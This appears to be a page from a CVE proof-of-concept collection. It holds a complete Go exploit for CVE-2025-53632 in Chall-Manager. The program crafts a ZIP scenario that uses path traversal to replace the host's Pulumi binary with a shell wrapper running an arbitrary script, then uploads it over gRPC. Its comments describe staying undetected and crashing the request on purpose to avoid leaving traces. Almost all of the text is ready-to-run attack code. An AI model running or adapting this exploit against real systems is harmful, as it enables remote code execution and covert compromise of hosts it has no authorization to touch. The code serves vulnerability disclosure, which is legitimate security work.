4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / main.go GO
package main

import (
	"archive/tar"
	"archive/zip"
	"bytes"
	"compress/gzip"
	"context"
	"encoding/base64"
	"fmt"
	"io"
	"log"
	"net/http"
	"os"
	"path/filepath"

	"github.com/ctfer-io/chall-manager/api/v1/challenge"
	"github.com/pkg/errors"
	"github.com/urfave/cli/v3"
	"google.golang.org/grpc"
	"google.golang.org/grpc/credentials/insecure"
)

const (
	pulumiBinary = "pulumi_3.144.1"
	scenarioDir  = "scenario"

	// The context directory is /tmp/chall-manager/chall/<hash>/scenario/<hash>
	// -> need to move up 6 directories to reach root
	escapePrefix = "../../../../../.."
)

func main() {
	app := cli.Command{
		Name:  "CVE-2025-53632",
		Usage: "Exploit demonstration for CVE-2025-53632 (CVSS v4.0: CVSS-B 8.8 HIGH / CVSS v3.1: 9.1 CRITICAL).",
		Flags: []cli.Flag{
			&cli.StringFlag{
				Name:     "url",
				Usage:    "The URL to reach out Chall-Manager over gRPC.",
				Required: true,
			},
			&cli.StringFlag{
				Name:  "script",
				Usage: "An optional script to run before the Pulumi command. This contains the commands you want to run onn Chall-Manager host.",
			},
		},
		Authors: []any{
			"Lucas Tesson - Pandatix <[email protected]>",
		},
		Action: exploit,
	}

	ctx := context.Background()
	if err := app.Run(ctx, os.Args); err != nil {
		log.Fatal(err)
	}
}

func exploit(ctx context.Context, cmd *cli.Command) error {
	// Prepare the malicious ZIP archive
	fmt.Println("[+] Creating scenario")
	zipb64, err := craftScenario(ctx, cmd.String("script"))
	if err != nil {
		return err
	}

	// Create a malicious challenge on Chall-Manager
	fmt.Println("[+] Creating malicious challenge")
	cli, err := grpc.NewClient(cmd.String("url"), grpc.WithTransportCredentials(insecure.NewCredentials()))
	if err != nil {
		return err
	}
	store := challenge.NewChallengeStoreClient(cli)

	// don't check errors, it'll be fine (we voluntarly make it crash to avoid letting traces in the API)
	_, _ = store.CreateChallenge(ctx, &challenge.CreateChallengeRequest{
		Id:       "malicious",
		Scenario: zipb64,
	})

	fmt.Println("Script should have run by now !")
	return nil
}

func craftScenario(ctx context.Context, script string) (string, error) {
	// Download or load Pulumi v3.144.1 (https://github.com/ctfer-io/chall-manager/blob/v0.1.3/Dockerfile.chall-manager#L26)
	p31441, err := loadPulumi3_144_1(ctx)
	if err != nil {
		return "", err
	}

	buf := bytes.NewBuffer(nil)
	zw := zip.NewWriter(buf)

	// Wrap a legit Pulumi scenario
	if err := filepath.Walk(scenarioDir, func(path string, info os.FileInfo, err error) error {
		if err != nil {
			return err
		}

		if info.IsDir() {
			return nil
		}

		// Ensure the header reflects the file's path within the zip archive
		fs, err := filepath.Rel(filepath.Dir(scenarioDir), path)
		if err != nil {
			return err
		}
		f, err := zw.Create(fs)
		if err != nil {
			return err
		}

		// Open the file
		file, err := os.Open(path)
		if err != nil {
			return err
		}
		defer file.Close()

		// Copy the file's contents into the archive
		_, err = io.Copy(f, file)
		if err != nil {
			return err
		}

		return nil
	}); err != nil {
		return "", err
	}

	// Copy a well-working Pulumi program to keep being undetected
	header := &zip.FileHeader{
		Name:   escapePrefix + "/bin/pulumi",
		Method: zip.Deflate,
	}
	writer, err := zw.CreateHeader(header)
	if err != nil {
		return "", err
	}
	if _, err := writer.Write(p31441); err != nil {
		return "", err
	}

	// Then create the tampered pulumi program
	header = &zip.FileHeader{
		Name:   escapePrefix + "/pulumi/bin/pulumi", // let's replace existing one
		Method: zip.Deflate,
	}
	writer, err = zw.CreateHeader(header)
	if err != nil {
		return "", err
	}
	if _, err = writer.Write([]byte("#!/bin/sh\n" + script + "\n/bin/pulumi \"$@\"\nexit $?;#\n")); err != nil {
		return "", err
	}

	// Close the zip to flush bytes in the bytes buffer
	if err := zw.Close(); err != nil {
		return "", err
	}

	// Encode it base 64
	return base64.StdEncoding.EncodeToString(buf.Bytes()), nil
}

// Keeping the same Pulumi version is important so we don't break the API models...
// It wouldn't be cool to get catched as soon as we exploit :'(
func loadPulumi3_144_1(ctx context.Context) ([]byte, error) {
	_, err := os.Stat(pulumiBinary)
	if err != nil {
		if os.IsNotExist(err) {
			fmt.Println("    Pulumi v3.144.1 does not seem to exist yet, downloading it...")
			if err := downloadPulumi3_144_1(ctx); err != nil {
				return nil, err
			}
		} else {
			return nil, err
		}
	}

	// Load from file system
	return os.ReadFile(pulumiBinary)
}

func downloadPulumi3_144_1(ctx context.Context) error {
	// Download it
	req, _ := http.NewRequestWithContext(ctx, http.MethodGet, "https://github.com/pulumi/pulumi/releases/download/v3.144.1/pulumi-v3.144.1-linux-x64.tar.gz", nil)
	res, err := http.DefaultClient.Do(req)
	if err != nil {
		return err
	}
	defer res.Body.Close()

	if res.StatusCode != http.StatusOK {
		return errors.New("GitHub responded with non-200 status code when downloading Pulumi v3.144.1")
	}

	// Untar the file to store it on disk for future usage
	gzr, err := gzip.NewReader(res.Body)
	if err != nil {
		return err
	}
	defer gzr.Close()

	tr := tar.NewReader(gzr)
	for {
		header, err := tr.Next()
		if err == io.EOF {
			break
		}
		if err != nil {
			return err
		}
		if header.Name == "pulumi/pulumi" {
			out, err := os.OpenFile(pulumiBinary, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
			if err != nil {
				return err
			}
			defer out.Close()

			if _, err := io.Copy(out, tr); err != nil {
				return err
			}

			break // no need to keep reading
		}
	}
	return nil
}